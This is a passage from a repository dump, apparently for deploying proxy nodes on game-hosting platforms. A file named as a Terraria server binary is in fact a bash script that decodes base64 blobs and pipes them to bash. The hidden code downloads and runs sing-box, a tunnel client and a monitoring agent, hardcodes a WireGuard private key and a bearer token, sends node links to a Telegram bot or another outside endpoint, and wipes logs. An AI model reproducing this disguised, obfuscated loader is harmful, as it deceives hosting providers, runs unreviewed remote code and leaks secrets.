ID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgICAgIHdnZXQgLXEgLU8gIiRORVdfRklMRU5BTUUiICIkVVJMIgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtRG93bmxvYWRlZCAkTkVXX0ZJTEVOQU1FIGJ5IHdnZXRcZVswbSIKICAgIGVsc2UKICAgICAgICBlY2hvIC1lICJcZVsxOzMzbU5laXRoZXIgY3VybCBub3Igd2dldCBpcyBhdmFpbGFibGUgZm9yIGRvd25sb2FkaW5nXGVbMG0iCiAgICAgICAgZXhpdCAxCiAgICBmaQp9CmZvciBlbnRyeSBpbiAiJHtGSUxFX0lORk9bQF19IjsgZG8KICAgIFVSTD0kKGVjaG8gIiRlbnRyeSIgfCBjdXQgLWQgJyAnIC1mIDEpCiAgICBSQU5ET01fTkFNRT0kKGdlbmVyYXRlX3JhbmRvbV9uYW1lKQogICAgTkVXX0ZJTEVOQU1FPSIkRE9XTkxPQURfRElSLyRSQU5ET01fTkFNRSIKICAgIAogICAgZG93bmxvYWRfZmlsZSAiJFVSTCIgIiRORVdfRklMRU5BTUUiCiAgICAKICAgIGNobW9kICt4ICIkTkVXX0ZJTEVOQU1FIgogICAgRklMRV9NQVBbJChlY2hvICIkZW50cnkiIHwgY3V0IC1kICcgJyAtZiAyKV09IiRORVdfRklMRU5BTUUiCmRvbmUKd2FpdAoKb3V0cHV0PSQoLi8iJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSIgZ2VuZXJhdGUgcmVhbGl0eS1rZXlwYWlyKQpwcml2YXRlX2tleT0kKGVjaG8gIiR7b3V0cHV0fSIgfCBhd2sgJy9Qcml2YXRlS2V5Oi8ge3ByaW50ICQyfScpCnB1YmxpY19rZXk9JChlY2hvICIke291dHB1dH0iIHwgYXdrICcvUHVibGljS2V5Oi8ge3ByaW50ICQyfScpCgpvcGVuc3NsIGVjcGFyYW0gLWdlbmtleSAtbmFtZSBwcmltZTI1NnYxIC1vdXQgInByaXZhdGUua2V5IgpvcGVuc3NsIHJlcSAtbmV3IC14NTA5IC1kYXlzIDM2NTAgLWtleSAicHJpdmF0ZS5rZXkiIC1vdXQgImNlcnQucGVtIiAtc3ViaiAiL0NOPWJpbmcuY29tIgoKICBjYXQgPiBjb25maWcuanNvbiA8PCBFT0YKewogICAgImxvZyI6IHsKICAgICAgICAiZGlzYWJsZWQiOiB0cnVlLAogICAgICAgICJsZXZlbCI6ICJlcnJvciIsCiAgICAgICAgInRpbWVzdGFtcCI6IHRydWUKICAgIH0sCiAgICAiZG5zIjogewogICAgICAgICJzZXJ2ZXJzIjogWwogICAgICAgIHsKICAgICAgICAgICJ0YWciOiAiZ29vZ2xlIiwKICAgICAgICAgICJhZGRyZXNzIjogInRsczovLzguOC44LjgiCiAgICAgICAgfQogICAgICBdCiAgICB9LAogICAgImluYm91bmRzIjogWwogICAgewogICAgICAidGFnIjogInZtZXNzLXdzLWluIiwKICAgICAgInR5cGUiOiAidm1lc3MiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtBUkdPX1BPUlR9LAogICAgICAgICJ1c2VycyI6IFsKICAgICAgICB7CiAgICAgICAgICAidXVpZCI6ICIke1VVSUR9IgogICAgICAgIH0KICAgICAgXSwKICAgICAgInRyYW5zcG9ydCI6IHsKICAgICAgICAidHlwZSI6ICJ3cyIsCiAgICAgICAgInBhdGgiOiAiL3ZtZXNzLWFyZ28iLAogICAgICAgICJlYXJseV9kYXRhX2hlYWRlcl9uYW1lIjogIlNlYy1XZWJTb2NrZXQtUHJvdG9jb2wiCiAgICAgIH0KICAgIH0sCiAgICB7CiAgICAgICJ0YWciOiAidHVpYy1pbiIsCiAgICAgICJ0eXBlIjogInR1aWMiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtUVUlDX1BPUlR9LAogICAgICAidXNlcnMiOiBbCiAgICAgICAgewogICAgICAgICAgInV1aWQiOiAiJHtVVUlEfSIsCiAgICAgICAgICAicGFzc3dvcmQiOiAiYWRtaW4iCiAgICAgICAgfQogICAgICBdLAogICAgICAiY29uZ2VzdGlvbl9jb250cm9sIjogImJiciIsCiAgICAgICJ0bHMiOiB7CiAgICAgICAgImVuYWJsZWQiOiB0cnVlLAogICAgICAgICJhbHBuIjogWwogICAgICAgICAgImgzIgogICAgICAgIF0sCiAgICAgICAgImNlcnRpZmljYXRlX3BhdGgiOiAiY2VydC5wZW0iLAogICAgICAgICJrZXlfcGF0aCI6ICJwcml2YXRlLmtleSIKICAgICAgfQogICAgfSwKICAgIHsKICAgICAgInRhZyI6ICJoeXN0ZXJpYTItaW4iLAogICAgICAidHlwZSI6ICJoeXN0ZXJpYTIiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtIWTJfUE9SVH0sCiAgICAgICAgInVzZXJzIjogWwogICAgICAgICAgewogICAgICAgICAgICAgInBhc3N3b3JkIjogIiR7VVVJRH0iCiAgICAgICAgICB9CiAgICAgIF0sCiAgICAgICJtYXNxdWVyYWRlIjogImh0dHBzOi8vYmluZy5jb20iLAogICAgICAgICJ0bHMiOiB7CiAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgImFscG4iOiBbCiAgICAgICAgICAgICAgICAiaDMiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJjZXJ0aWZpY2F0ZV9wYXRoIjogImNlcnQucGVtIiwKICAgICAgICAgICAgImtleV9wYXRoIjogInByaXZhdGUua2V5IgogICAgICAgICAgfQogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJ2bGVzcy1yZWFsaXR5LXZlc2lvbiIsCiAgICAgICAgInR5cGUiOiAidmxlc3MiLAogICAgICAgICJsaXN0ZW4iOiAiOjoiLAogICAgICAgICJsaXN0ZW5fcG9ydCI6ICRSRUFMSVRZX1BPUlQsCiAgICAgICAgICAidXNlcnMiOiBbCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgInV1aWQiOiAiJFVVSUQiLAogICAgICAgICAgICAgICAgImZsb3ciOiAieHRscy1ycHJ4LXZpc2lvbiIKICAgICAgICAgICAgICB9CiAgICAgICAgICBdLAogICAgICAgICAgInRscyI6IHsKICAgICAgICAgICAgICAiZW5hYmxlZCI6IHRydWUsCiAgICAgICAgICAgICAgInNlcnZlcl9uYW1lIjogInd3dy5uYXpodW1pLmNvbSIsCiAgICAgICAgICAgICAgInJlYWxpdHkiOiB7CiAgICAgICAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgICAgICAgImhhbmRzaGFrZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXIiOiAid3d3Lm5hemh1bWkuY29tIiwKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXJfcG9ydCI6IDQ0MwogICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAicHJpdmF0ZV9rZXkiOiAiJHByaXZhdGVfa2V5IiwKICAgICAgICAgICAgICAgICAgInNob3J0X2lkIjogWwogICAgICAgICAgICAgICAgICAgICIiCiAgICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgIH0KICAgXSwKICAib3V0Ym91bmRzIjogWwogICAgewogICAgICAidHlwZSI6ICJkaXJlY3QiLAogICAgICAidGFnIjogImRpcmVjdCIKICAgIH0sCiAgICB7CiAgICAgICJ0eXBlIjogImJsb2NrIiwKICAgICAgInRhZyI6ICJibG9jayIKICAgIH0sCiAgICB7CiAgICAgICJ0eXBlIjogIndpcmVndWFyZCIsCiAgICAgICJ0YWciOiAid2lyZWd1YXJkLW91dCIsCiAgICAgICJzZXJ2ZXIiOiAiMTYyLjE1OS4xOTIuMjAwIiwKICAgICAgInNlcnZlcl9wb3J0IjogNDUwMCwKICAgICAgImxvY2FsX2FkZHJlc3MiOiBbCiAgICAgICAgIjE3Mi4xNi4wLjIvMzIiLAogICAgICAgICIyNjA2OjQ3MDA6MTEwOjhmNzc6MWNhOTpmMDg2Ojg0NmM6NWY5ZS8xMjgiCiAgICAgIF0sCiAgICAgICJwcml2YXRlX2tleSI6ICJ3SXhzemRSMm5NZEE3YTJVbDNYUWNuaVNmU1pxZHFqUGI2dzZvcHZmNUFVPSIsCiAgICAgICJwZWVyX3B1YmxpY19rZXkiOiAiYm1YT0MrRjFGeEVNRjlkeWlLMkg1LzFTVXR6SDBKdVZvNTFoMndQZmd5bz0iLAogICAgICAicmVzZXJ2ZWQiOiBbMTI2LCAyNDYsIDE3M10KICAgIH0KICBdLAogICJyb3V0ZSI6IHsKICAgICJydWxlX3NldCI6IFsKICAgICAgewogICAgICAgICJ0YWciOiAibmV0ZmxpeCIsCiAgICAgICAgInR5cGUiOiAicmVtb3RlIiwKICAgICAgICAiZm9ybWF0IjogImJpbmFyeSIsCiAgICAgICAgInVybCI6ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vTWV0YUN1YmVYL21ldGEtcnVsZXMtZGF0L3NpbmcvZ2VvL2dlb3NpdGUvbmV0ZmxpeC5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJvcGVuYWkiLAogICAgICAgICJ0eXBlIjogInJlbW90ZSIsCiAgICAgICAgImZvcm1hdCI6ICJiaW5hcnkiLAogICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01ldGFDdWJlWC9tZXRhLXJ1bGVzLWRhdC9zaW5nL2dlby9nZW9zaXRlL29wZW5haS5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9CiAgICBdLAogICAgInJ1bGVzIjogWwogICAgICB7CiAgICAgICAgInJ1bGVfc2V0IjogWyJuZXRmbGl4IiwgIm9wZW5haSJdLAogICAgICAgICJvdXRib3VuZCI6ICJ3aXJlZ3VhcmQtb3V0IgogICAgICB9CiAgICBdLAogICAgImZpbmFsIjogImRpcmVjdCIKICB9Cn0KRU9GCgppZiBbIC1lICIkKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBdOyB0aGVuCiAgICBub2h1cCAuLyIkKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBydW4gLWMgY29uZmlnLmpzb24gPi9kZXYvbnVsbCAyPiYxICYKICAgIHNsZWVwIDIKICAgIGVjaG8gLWUgIlxlWzE7MzJtJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSBpcyBydW5uaW5nXGVbMG0iCmZpCgppZiBbIC1lICIkKGJhc2VuYW1lICR7RklMRV9NQVBbYm90XX0pIiBdOyB0aGVuCiAgICBpZiBbWyAkQVJHT19BVVRIID1+IF5bQS1aMC05YS16PV17MTIwLDI1MH0kIF1dOyB0aGVuCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIHJ1biAtLXRva2VuICR7QVJHT19BVVRIfSIKICAgIGVsaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgICAgYXJncz0idHVubmVsIC0tZWRnZS1pcC12ZXJzaW9uIGF1dG8gLS1jb25maWcgdHVubmVsLnltbCBydW4iCiAgICBlbHNlCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIC0tbG9nZmlsZSBib290LmxvZyAtLWxvZ2xldmVsIGluZm8gLS11cmwgaHR0cDovL2xvY2FsaG9zdDokQVJHT19QT1JUIgogICAgZmkKICAgIG5vaHVwIC4vIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkiICRhcmdzID4vZGV2L251bGwgMj4mMSAmCiAgICBzbGVlcCAyCiAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkgaXMgcnVubmluZ1xlWzBtIiAKZmkKCmlmIFsgLW4gIiRORVpIQV9TRVJWRVIiIF0gJiYgWyAtbiAiJE5FWkhBX1BPUlQiIF0gJiYgWyAtbiAiJE5FWkhBX0tFWSIgXTsgdGhlbgogICAgaWYgWyAtZSAiJChiYXNlbmFtZSAke0ZJTEVfTUFQW25wbV19KSIgXTsgdGhlbgoJICB0bHNQb3J0cz0oIjQ0MyIgIjg0NDMiICIyMDk2IiAiMjA4NyIgIjIwODMiICIyMDUzIikKICAgICAgW1sgIiR7dGxzUG9ydHNbKl19IiA9fiAiJHtORVpIQV9QT1JUfSIgXV0gJiYgTkVaSEFfVExTPSItLXRscyIgfHwgTkVaSEFfVExTPSIiCiAgICAgIGV4cG9ydCBUTVBESVI9JChwd2QpCiAgICAgIG5vaHVwIC4vIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkiIC1zICR7TkVaSEFfU0VSVkVSfToke05FWkhBX1BPUlR9IC1wICR7TkVaSEFfS0VZfSAke05FWkhBX1RMU30gPi9kZXYvbnVsbCAyPiYxICYKICAgICAgc2xlZXAgMgogICAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkgaXMgcnVubmluZ1xlWzBtIgogICAgZmkKZWxpZiBbIC1uICIkTkVaSEFfU0VSVkVSIiBdICYmIFsgLW4gIiRORVpIQV9LRVkiIF07IHRoZW4KICAgIGlmIFsgLWUgIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtwaHBdfSkiIF07IHRoZW4KICAgICAgbm9odXAgLi8iJChiYXNlbmFtZSAke0ZJTEVfTUFQW3BocF19KSIgLWMgIiR7RklMRV9QQVRIfS9jb25maWcueWFtbCIgPi9kZXYvbnVsbCAyPiYxICYKICAgICAgZWNobyAtZSAiXGVbMTszMm0kKGJhc2VuYW1lICR7RklMRV9NQVBbcGhwXX0pIGlzIHJ1bm5pbmdcZVswbSIKICAgIGZpCmVsc2UKICAgIGVjaG8gLWUgIlxlWzE7MzVtTkVaSEEgdmFyaWFibGUgaXMgZW1wdHksIHNraXBwaW5nIHJ1bm5pbmdcZVswbSIKZmkKZm9yIGtleSBpbiAiJHshRklMRV9NQVBbQF19IjsgZG8KICAgIGlmIFsgLWUgIiQoYmFzZW5hbWUgJHtGSUxFX01BUFska2V5XX0pIiBdOyB0aGVuCiAgICAgICAgcm0gLXJmICIkKGJhc2VuYW1lICR7RklMRV9NQVBbJGtleV19KSIgPi9kZXYvbnVsbCAyPiYxCiAgICBmaQpkb25lCn0KZG93bmxvYWRfYW5kX3J1bgoKZ2V0X2FyZ29kb21haW4oKSB7CiAgaWYgW1sgLW4gJEFSR09fQVVUSCBdXTsgdGhlbgogICAgZWNobyAiJEFSR09fRE9NQUlOIgogIGVsc2UKICAgIGxvY2FsIHJldHJ5PTAKICAgIGxvY2FsIG1heF9yZXRyaWVzPTYKICAgIGxvY2FsIGFyZ29kb21haW49IiIKICAgIHdoaWxlIFtbICRyZXRyeSAtbHQgJG1heF9yZXRyaWVzIF1dOyBkbwogICAgICAoKHJldHJ5KyspKQogICAgICBhcmdvZG9tYWluPSQoc2VkIC1uICdzfC4qaHR0cHM6Ly9cKFteL10qdHJ5Y2xvdWRmbGFyZVwuY29tXCkuKnxcMXxwJyBib290LmxvZykKICAgICAgaWYgW1sgLW4gJGFyZ29kb21haW4gXV07IHRoZW4KICAgICAgICBicmVhawogICAgICBmaQogICAgICBzbGVlcCAxCiAgICBkb25lCiAgICBlY2hvICIkYXJnb2RvbWFpbiIKICBmaQp9CgpzZW5kX3RlbGVncmFtKCkgewogIFsgLWYgIiR7RklMRV9QQVRIfS9zdWIudHh0IiBdIHx8IHJldHVybgogIE1FU1NBR0U9JChjYXQgIiR7RklMRV9QQVRIfS9zdWIudHh0IikKICBMT0NBTF9NRVNTQUdFPSIqJHtOQU1FfeiKgueCueaOqOmAgemAmuefpSpcYFxgXGAke01FU1NBR0V9XGBcYFxgIgogIEJPVF9NRVNTQUdFPSI8Yj4ke05BTUV96IqC54K55o6o6YCB6YCa55+lPC9iPlxuPHByZT4ke01FU1NBR0V9PC9wcmU+IgogIGlmIFsgLW4gIiR7Qk9UX1RPS0VOfSIgXSAmJiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3Qke0JPVF9UT0tFTn0vc2VuZE1lc3NhZ2UiIFwKICAgICAgLWQgImNoYXRfaWQ9JHtDSEFUX0lEfSZ0ZXh0PSR7TE9DQUxfTUVTU0FHRX0mcGFyc2VfbW9kZT1NYXJrZG93biIgPiAvZGV2L251bGwKCiAgZWxpZiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHA6Ly9hcGkudGcuZ3ZyYW5kZXIuZXUub3JnL2FwaS9ub3RpZnkiIFwKICAgICAgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciBlSldSZ3hDNExjem5LTGlVaURvVXN3QG5NZ0RCQ0NTVWs2SXcwUzlQYnMiIFwKICAgICAgLUggIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIgXAogICAgICAtZCAiJChwcmludGYgJ3siY2hhdF9pZCI6ICIlcyIsICJtZXNzYWdlIjogIiVzIn0nICIke0NIQVRfSUR9IiAiJHtCT1RfTUVTU0FHRX0iKSIgPiAvZGV2L251bGwKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzVtVEcgdmFyaWFibGUgaXMgZW1wdHksc2tpcHBpbmcgc2VudFxlWzBtIgogICAgcmV0dXJuCiAgZmkKCiAgaWYgWyAkPyAtZXEgMCBdOyB0aGVuCiAgICBlY2hvIC1lICJcblxlWzE7MzJtTm9kZXMgc2VudCB0byBURyBzdWNjZXNzZnVsbHlcZVswbSIKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzFtRmFpbGVkIHRvIHNlbmQgbm9kZXMgdG8gVEdcZVswbSIKICBmaQp9Cgp1cGxvZF9ub2RlcygpIHsKICAgIFtbIC16ICRVUExPQURfVVJMIHx8ICEgLWYgIiR7RklMRV9QQVRIfS9saXN0LnR4dCIgXV0gJiYgcmV0dXJuCiAgICBjb250ZW50PSQoY2F0ICR7RklMRV9QQVRIfS9saXN0LnR4dCkKICAgIG5vZGVzPSQoZWNobyAiJGNvbnRlbnQiIHwgZ3JlcCAtRSAnKHZsZXNzfHZtZXNzfHRyb2phbnxoeXN0ZXJpYTJ8dHVpYyk6Ly8nKQogICAgW1sgLXogJG5vZGVzIF1dICYmIHJldHVybgogICAgbm9kZXM9KCRub2RlcykKICAgIGpzb25fZGF0YT0neyJub2RlcyI6IFsnCiAgICBmb3Igbm9kZSBpbiAiJHtub2Rlc1tAXX0iOyBkbwogICAgICAgIGpzb25fZGF0YSs9IlwiJG5vZGVcIiwiCiAgICBkb25lCiAgICBqc29uX2RhdGE9JHtqc29uX2RhdGElLH0KICAgIGpzb25fZGF0YSs9J119JwoKICAgIGN1cmwgLVggUE9TVCAiJFVQTE9BRF9VUkwvYXBpL2FkZC1ub2RlcyIgXAogICAgICAgICAtSCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIiBcCiAgICAgICAgIC1kICIkanNvbl9kYXRhIiA+IC9kZXYvbnVsbCAyPiYxCgogICAgaWYgW1sgJD8gLWVxIDAgXV07IHRoZW4KICAgICAgICBlY2hvIC1lICJcMDMzWzE7MzJtTm9kZXMgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5XDAzM1swbSIKICAgIGVsc2UKICAgICAgICBlY2hvIC1lICJcMDMzWzE7MzFtRmFpbGVkIHRvIHVwbG9hZCBub2Rlc1wwMzNbMG0iCiAgICBmaQp9CgphcmdvZG9tYWluPSQoZ2V0X2FyZ29kb21haW4pCmVjaG8gLWUgIlxlWzE7MzJtQXJnb0RvbWFpbjpcZVsxOzM1bSR7YXJnb2RvbWFpbn1cZVswbVxuIgpzbGVlcCAxCklQPSQoY3VybCAtcyAtLW1heC10aW1lIDIgaXB2NC5pcC5zYiB8fCBjdXJsIC1zIC0tbWF4LXRpbWUgMSBhcGkuaXBpZnkub3JnIHx8IHsgaXB2Nj0kKGN1cmwgLXMgLS1tYXgtdGltZSAxIGlwdjYuaXAuc2IpOyBlY2hvICJbJGlwdjZdIjsgfSB8fCBlY2hvICJYWFgiKQpJU1A9JChjdXJsIC1zIC0tbWF4LXRpbWUgMiBodHRwczovL3NwZWVkLmNsb3VkZmxhcmUuY29tL21ldGEgfCBhd2sgLUZcIiAne3ByaW50ICQyNiItIiQxOH0nIHwgc2VkIC1lICdzLyAvXy9nJyB8fCBlY2hvICIwLjAiKQoKVk1FU1M9InsgXCJ2XCI6IFwiMlwiLCBcInBzXCI6IFwiJHtOQU1FfS0ke0lTUH1cIiwgXCJhZGRcIjogXCIke0NGSVB9XCIsIFwicG9ydFwiOiBcIiR7Q0ZQT1JUfVwiLCBcImlkXCI6IFwiJHtVVUlEfVwiLCBcImFpZFwiOiBcIjBcIiwgXCJzY3lcIjogXCJub25lXCIsIFwibmV0XCI6IFwid3NcIiwgXCJ0eXBlXCI6IFwibm9uZVwiLCBcImhvc3RcIjogXCIke2FyZ29kb21haW59XCIsIFwicGF0aFwiOiBcIi92bWVzcy1hcmdvP2VkPTI1NjBcIiwgXCJ0bHNcIjogXCJ0bHNcIiwgXCJzbmlcIjogXCIke2FyZ29kb21haW59XCIsIFwiYWxwblwiOiBcIlwiLCBcImZwXCI6IFwiY2hyb21lXCJ9IgoKY2F0ID4gJHtGSUxFX1BBVEh9L2xpc3QudHh0IDw8RU9GCnZtZXNzOi8vJChlY2hvICIkVk1FU1MiIHwgYmFzZTY0IC13MCkKRU9GCgppZiBbICIkVFVJQ19QT1JUIiAhPSAiNDAwMDAiIF07IHRoZW4KICBlY2hvIC1lICJcbnR1aWM6Ly8ke1VVSUR9OmFkbWluQCR7SVB9OiR7VFVJQ19QT1JUfT9zbmk9d3d3LmJpbmcuY29tJmFscG49aDMmY29uZ2VzdGlvbl9jb250cm9sPWJiciMke05BTUV9LSR7SVNQfSIgPj4gJHtGSUxFX1BBVEh9L2xpc3QudHh0CmZpCgppZiBbICIkSFkyX1BPUlQiICE9ICI1MDAwMCIgXTsgdGhlbgogIGVjaG8gLWUgIlxuaHlzdGVyaWEyOi8vJHtVVUlEfUAke0lQfToke0hZMl9QT1JUfS8/c25pPXd3dy5iaW5nLmNvbSZhbHBuPWgzJmluc2VjdXJlPTEjJHtOQU1FfS0ke0lTUH0iID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKaWYgWyAiJFJFQUxJVFlfUE9SVCIgIT0gIjYwMDAwIiBdOyB0aGVuCiAgZWNobyAtZSAiXG52bGVzczovLyR7VVVJRH1AJHtJUH06JHtSRUFMSVRZX1BPUlR9P2VuY3J5cHRpb249bm9uZSZmbG93PXh0bHMtcnByeC12aXNpb24mc2VjdXJpdHk9cmVhbGl0eSZzbmk9d3d3Lm5hemh1bWkuY29tJmZwPWNocm9tZSZwYms9JHtwdWJsaWNfa2V5fSZ0eXBlPXRjcCZoZWFkZXJUeXBlPW5vbmUjJHtOQU1FfS0ke0lTUH0iID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKYmFzZTY0IC13MCAke0ZJTEVfUEFUSH0vbGlzdC50eHQgPiAke0ZJTEVfUEFUSH0vc3ViLnR4dApjYXQgJHtGSUxFX1BBVEh9L3N1Yi50eHQKZWNobyAtZSAiXG5cblxlWzE7MzJtJHtGSUxFX1BBVEh9L3N1Yi50eHQgc2F2ZWQgc3VjY2Vzc2Z1bGx5XGVbMG0iCnVwbG9kX25vZGVzCnNlbmRfdGVsZWdyYW0KZWNobyAtZSAiXG5cZVsxOzMybVJ1bm5pbmcgZG9uZSFcZVswbVxuIgpzbGVlcCAxMiAKY2xlYXIKCnJtIC1yZiBib290LmxvZyBjb25maWcuanNvbiBzYi5sb2cgY29yZSBmYWtlX3VzZXJhZ2VudF8wLjIuMC5qc29uICR7RklMRV9QQVRIfS9saXN0LnR4dCA+L2Rldi9udWxsIDI+JjE=" | base64 -d | bash 22 | 23 | chmod +x ${GAME_FILE} && ./${GAME_FILE} 24 | 25 | # tail -f /dev/null 26 | -------------------------------------------------------------------------------- /sing-box游戏机/Terraria Vanilla/TerrariaServer.bin.x86_64: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | export UUID=${UUID:-'bc97f674-c578-4940-9234-0a1da46041b9'} # 哪吒v1,在不同的平台需要改UUID,否则会覆盖 3 | export NEZHA_SERVER=${NEZHA_SERVER:-''} # v1哪吒填写形式:nezha.abc.com:8008,v0哪吒填写形式:nezha.abc.com 4 | export NEZHA_PORT=${NEZHA_PORT:-''} # v1哪吒不要填写这个,v0哪吒agent端口为{443,8443,2053,2083,2087,2096}其中之一时自动开启tls 5 | export NEZHA_KEY=${NEZHA_KEY:-''} # v1的NZ_CLIENT_SECRET或v0的agent密钥 6 | export ARGO_DOMAIN=${ARGO_DOMAIN:-''} # 固定隧道域名,留空即启用临时隧道 7 | export ARGO_AUTH=${ARGO_AUTH:-''} # 固定隧道token或json,留空即启用临时隧道 8 | export CFIP=${CFIP:-'www.visa.com.tw'} # argo节点优选域名或优选ip 9 | export CFPORT=${CFPORT:-'443'} # argo节点端口 10 | export NAME=${NAME:-'Vls'} # 节点名称 11 | export FILE_PATH=${FILE_PATH:-'./lib64'} # sub 路径 12 | export ARGO_PORT=${ARGO_PORT:-'8001'} # argo端口 使用固定隧道token,cloudflare后台设置的端口需和这里对应 13 | export TUIC_PORT=${TUIC_PORT:-'40000'} # Tuic 端口,支持多端口玩具可填写,否则不动 14 | export HY2_PORT=${HY2_PORT:-'50000'} # Hy2 端口,支持多端口玩具可填写,否则不动 15 | export REALITY_PORT=${REALITY_PORT:-'60000'} # reality 端口,支持多端口玩具可填写,否则不动 16 | export GAME_FILE=${GAME_FILE:-'LICENSE'} # 填写游戏文件名,不填写不启动游戏,无法运行 17 | export CHAT_ID=${CHAT_ID:-''} # TG chat_id,可在https://t.me/laowang_serv00_bot 获取 18 | export BOT_TOKEN=${BOT_TOKEN:-''} # TG bot_token, 使用自己的bot需要填写,使用上方的bot不用填写,不会给别人发送 19 | export UPLOAD_URL=${UPLOAD_URL:-''} # 订阅自动上传地址,没有可不填,需要填部署Merge-sub项目后的首页地址,例如:https://merge.serv00.net 20 | 21 | echo "ZGVsZXRlX29sZF9ub2RlcygpIHsKICBbWyAteiAkVVBMT0FEX1VSTCB8fCAhIC1mICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgXV0gJiYgcmV0dXJuCiAgb2xkX25vZGVzPSQoYmFzZTY0IC1kICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgfCBncmVwIC1FICcodmxlc3N8dm1lc3N8dHJvamFufGh5c3RlcmlhMnx0dWljKTovLycpCiAgW1sgLXogJG9sZF9ub2RlcyBdXSAmJiByZXR1cm4KCiAganNvbl9kYXRhPSd7Im5vZGVzIjogWycKICBmb3Igbm9kZSBpbiAkb2xkX25vZGVzOyBkbwogICAgICBqc29uX2RhdGErPSJcIiRub2RlXCIsIgogIGRvbmUKICBqc29uX2RhdGE9JHtqc29uX2RhdGElLH0gIAogIGpzb25fZGF0YSs9J119JwoKICBjdXJsIC1YIERFTEVURSAiJFVQTE9BRF9VUkwvYXBpL2RlbGV0ZS1ub2RlcyIgXAogICAgICAgIC1IICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iIFwKICAgICAgICAtZCAiJGpzb25fZGF0YSIgPiAvZGV2L251bGwgMj4mMQp9CmRlbGV0ZV9vbGRfbm9kZXMKClsgISAtZCAiJHtGSUxFX1BBVEh9IiBdICYmIG1rZGlyIC1wICIke0ZJTEVfUEFUSH0iICYmIHJtIC1yZiBib290LmxvZyBjb25maWcuanNvbiB0dW5uZWwuanNvbiB0dW5uZWwueW1sICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgPi9kZXYvbnVsbCAyPiYxCgoKYXJnb19jb25maWd1cmUoKSB7CiAgaWYgW1sgLXogJEFSR09fQVVUSCB8fCAteiAkQVJHT19ET01BSU4gXV07IHRoZW4KICAgIGVjaG8gLWUgIlxlWzE7MzJtQVJHT19ET01BSU4gb3IgQVJHT19BVVRIIHZhcmlhYmxlIGlzIGVtcHR5LCB1c2UgcXVpY2sgdHVubmVsc1xlWzBtIiAgIAogICAgcmV0dXJuCiAgZmkKCiAgaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgIGVjaG8gJEFSR09fQVVUSCA+IHR1bm5lbC5qc29uCiAgICBjYXQgPiB0dW5uZWwueW1sIDw8IEVPRgp0dW5uZWw6ICQoY3V0IC1kXCIgLWYxMiA8PDwgIiRBUkdPX0FVVEgiKQpjcmVkZW50aWFscy1maWxlOiB0dW5uZWwuanNvbgpwcm90b2NvbDogaHR0cDIKCmluZ3Jlc3M6CiAgLSBob3N0bmFtZTogJEFSR09fRE9NQUlOCiAgICBzZXJ2aWNlOiBodHRwOi8vbG9jYWxob3N0OiRBUkdPX1BPUlQKICAgIG9yaWdpblJlcXVlc3Q6CiAgICAgIG5vVExTVmVyaWZ5OiB0cnV